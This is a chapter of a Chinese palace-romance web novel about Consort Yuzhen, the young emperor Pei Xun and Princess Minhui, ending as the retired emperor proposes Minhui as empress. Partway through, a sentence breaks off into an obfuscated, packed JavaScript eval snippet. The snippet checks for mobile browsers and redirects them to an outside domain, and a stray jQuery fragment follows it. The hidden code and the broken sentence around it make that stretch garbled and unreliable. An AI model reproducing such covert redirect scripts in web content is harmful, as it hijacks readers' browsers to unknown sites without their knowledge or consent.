玉真在嫌弃他?!
裴浔不可置信,一定是她欲擒故纵的手段。
贵妃人娇气,脾气也是,因为昨日得事与他呕气,纵使是裴浔错怪了她,可帝王不会有错。
“贵妃?”裴浔拳头放在唇边,轻咳了声,“姚尚仪事务繁忙,每日与你讲解宫务便耗费大半时间,你且谨记母后教导,昨日重新教导规矩之事,便免了吧。”
玉真皱眉,昨日她顶撞裴浔有错,但裴浔冤枉她莫名给她添加不尊长辈的事,轻飘飘一句话就过去了?
他是怕她为难他的堂妹吗?
她才没这么幼稚呢。
要她感恩戴德地道谢,裴浔做梦去吧。
“敏慧郡主离开的久,陛下是男子不好入青琅殿,臣妾去瞧瞧郡主如何了。”
裴浔有些酸:“贵妃想得周到。”
……
青琅殿是太宗时期宋嫔住所,装饰雅致,墙上挂了水墨丹青。
裕朝推崇清淡柔和,不仅女子讲究空灵清绝,追捧清逸之气的美感,就连屋内陈设,院中景色也是如此。
裴游彩换了一身素采色裙子,妆容似病中人,打了霜的焉茄子,青春靓丽的姑娘硬生生把自己压了下去。
玉真见了大为震撼。
“郡主怎么换了这身衣裙。”就连发间的花都只剩下一朵素白色小花。
好像在披麻戴孝,还有道观里的姑子。
“不好看吗?”裴游彩原地转了一圈,她觉得这身就不错,是溪君喜欢的款式。
玉真无奈:“你这个年纪,这身衣衫太素净了,而且今儿说是家宴,其实是你的接风宴,穿成这副样子,只怕不妥。先前那身衣衫就不错,太后看了也喜欢。”
裴游彩想了一会,好像确实如贵妃所说,她想避开陛下,但也要依太后喜好。
“绿沈,把本宫宫中那套黄宝石头面拿来,郡主已经及笄,身份尊贵,今日接风宴,明日女郎们也要递请帖入宫拜见郡主,风采不能被压下去。”
宋老夫人和赵夫人也在宫中呢。
玉真不禁垂头丧气。
裴游彩换了两次衣衫两次妆容,她动作慢,玉真坐在圈椅上喝茶,喝完了一壶茶,郡主终于沐浴换好衣服了。
她看窗外的花,伸手勾住一枝最漂亮的花,郡主的花圃被她糟蹋了半片,郡主终于重新梳洗的发饰。
“嫂嫂,你瞧瞧我这身真的好看吗?”裴游彩不大自信。
这套宝石头面太华贵了,戴着这套走到人群中,简直鹤立鸡群,远远就能注意到这身装扮。
玉真无精打采:“不会啊,挺好看的。”
她一直都是这么打扮,美丽的代价就是背后蛐蛐。
仅此而已。
裴游彩穿着这身装扮手足无措,跟在玉真后边到了燕台阁。
阁楼有两层,第一层宴请,第二层用作观赏,和青琅殿隔了一道桥和一道月华门。
燕台阁建筑在凌波湖上,湿气氤氲,轻纱朦胧,湖中栽了成片荷花,坐于阁楼若隐若现,轻摇身下枝,碧叶如浪。
此时天色渐晚,宫灯徐徐点燃,绯红结系夜色朦胧,花光柳影。
这是裴游彩第一次看清楚堂兄的脸。
她从母妃口中听说,陛下是位丰神俊逸,威仪从容的男子。裴游彩羞涩垂下头,轻轻吸着气儿。
她是位聪明的姑娘,郡主已经贵不可言,有皇帝堂兄庇护,洛阳的好男儿任她挑选,她再得太后青睐,恭王府只有她一个姑娘,指不定能给位公主当当。
裴浔说道:“妹妹身边只有一个侍女随行伺候,在洛阳里头多有不便,让六局记下,再拨几个聪明伶俐的来照顾起居。”
他嗓音好听,是清朗如玉带了慵懒随意的少年音色。
裴游彩脸上的桃花藏不住了,她是个未出阁的少女,到了谈婚论嫁的年纪,房中那点事和避火图那些也有所听过。
是和其他郡主一块学习,旁人是羞涩红了脸丢下书,她是兴奋得成为一朵绯红的桃花,为了矜持不得不丢下书。
玉真:“……”
她多余了?
裴游彩:“多谢陛下,敏慧宫中已经有伺候起居的宫人,不用再多的了,这些不妨给嫂嫂,嫂嫂应该用得到。”
玉真:?
她嚼着嘴里的带鱼,早上从河里捞出来,中午就送到宫中,晚上就做好的带鱼就是新鲜,先用油两面煎至金黄,入锅加醋和糖,撒一把蒜苗增添味儿,烧出来的酱汁浓稠,外酥里嫩不说,味道也酸甜开胃。
“本宫也用不到,华阳宫的宫人够多了。”
宫人的月银都是头上主子出得,玉真现在手下有一位掌事女官迎春,黄门总管魏州,四位大宫女绿沈、青羽、青鸾、青兰和青灯,数名二等宫女内侍依次类推,数不胜数,高等级的俸禄高,玉真每月都要拿一半的银子发俸禄,现在能维持宫里开销,用得都是自己私库。
若裴浔大发慈悲愿意替她付工钱,她也不介意再多些宫人。
“真娘宫中已经有六十多位宫人,她是生在洛阳的,你初来乍到有许多地方不懂,让几个聪明伶俐的在身边也有傍身。”太后说,“过几日到洛阳城转转,和那些娘子们认识认识,既然来了皇城,总不能白来一趟。”
裴游彩:“敏慧来此见到婶母和皇叔叔就不算白来一趟,宫中景色宜人,敏慧就是逛御花园,也要好几日才能逛完呢,不如陪在娘娘身边,看这柳绿花红,人比花娇。”
太后被哄得高兴,等了一会太上皇来了,瞧见模样周正的侄女又夸了一通好话,赏赐了金银首饰绸缎,眼底兴奋不已,吓得太后收起仅剩一个底的青梅酒。
用完膳,宋老夫人和赵夫人回府,太后和太上皇回到长定殿,将燕台阁留给了玉真三人。
太上皇认为三人在一块不对劲,记起玉真还要抄宫规,将玉真也撵回华阳宫。
“阿容,你瞧瞧。”太上皇从怀中掏出一封信,“敏慧出身皇室,身份尊贵礼仪得体,朕觉得是不错。”
太后狐疑,拿过信件细细读阅。
太后大吃一惊:“你想让敏慧做皇后?!”
太上皇:“有何不可。”
敏慧比玉真稳重,才情横溢,是宫里嬷嬷规范出得高门
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380840|168470||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
贵女,当然担得起一国之母。
“可……”太后犹豫,“哀家答应过定西侯,两年内无人超过真真的位分,敏慧在梁州也有定下了婚约的未婚夫,你抢了这份婚事,要梁州的怎么看?”
太上皇坚定道:“是恭王想将女儿送进宫,何况父母之命媒妁之言,普天之下莫非王土,皇家看中的女子,就是待嫁闺中,也必须笑颜相让。”
“你上次还想让溪娘做皇后呢。”
“宫里位分这般多,就是都进宫,一个萝卜一个坑,也是够用。”
太上皇不假辞色,作为天下之主,确实有这个资本。
太后劝诫:“浔儿后宫的事你就莫要插手了,一把年纪,可别落了个妻离子散的后果。”
“成成成,朕就你一个娘子,防止这妻离子散的后果,不插手总好了。”太上皇揽住太后入怀,他正是生龙活虎的而立年,夫妻二人住在一块,动向自然不言而喻。
……
夜深,裴浔自太上皇和太后离开后,便头也不回地离开了。
彼时桌上还放着温过的青梅酒,太上皇此举明确,可裴浔却不想认。
他和裴游彩是堂兄妹,堂兄妹怎么能做夫妻之实,另说,他和裴游彩说句话,那人脸红的就像猴屁股一样。
相较之下,他更愿意选择玉真。
至少玉真不会莫名其妙的脸红。
裴浔喝着果酒,撑着脑袋倚靠在椅子前,将手中的酒樽丢在一旁,面色因后劲上来而变得红润,凤眸微眯,眼尾上前勾起,带起一抹红痕,受太阳烘烤过的橙花香味阵阵,参杂着清冷香气。
他扫过桌上青橘,脑海中下意识浮现身着水绿色裙裾的明媚少女。
玉真在人群中总是最耀眼的,他依稀记得他第二次见到玉真,是在薛府的后院。
彼时他作为太子参加薛老夫人寿宴,参表皇恩浩荡,玉真那会该是十五的年纪,刚过及笄礼,鬓后带了一只垂挂了珍珠的步遥。
不过她最喜欢的是耳朵边的蝴蝶珠花,每次有她身影的宴会,她都会戴一朵珠花,那会她穿了红色银朱色衫子,下边配了一条黄色裙子,他记得那日眉心还点了一点朱砂。
玉真太过耀眼,太过别具一格。
犹记国子监读书时,他就常常听闻玉真的名号。
她是长孙溪和薛兰渚的小尾巴,昨儿打了某家的小公子,今儿弄哭了某家的千金,论起事来还咄咄逼人,相反,长孙溪宛如救星一般降临在被玉真被欺负的公子千金身前。
卜安不合时宜的进来,说道:“陛下,水备好了。”
裴浔心尖空落落的,“朕今天和郡主独处燕台阁,贵妃回去可有祸及其他宫人?”
卜安弓身弯下了腰,心中猜便了皇帝陛下的心思忐忑开口:“贵妃娘娘对手下宫人仁和,应当是没的。”
裴浔心烦意乱:“你既然不知,朕作为君主,理该知晓她的动向,以免她怒火中烧,累及无辜。”
他一正言辞,左右扫了扫,看向旁边宫人,哼笑道:“去华阳宫传报,今晚玉贵妃侍寝,让贵妃记得带上上次闯了仪元殿的白猫儿。”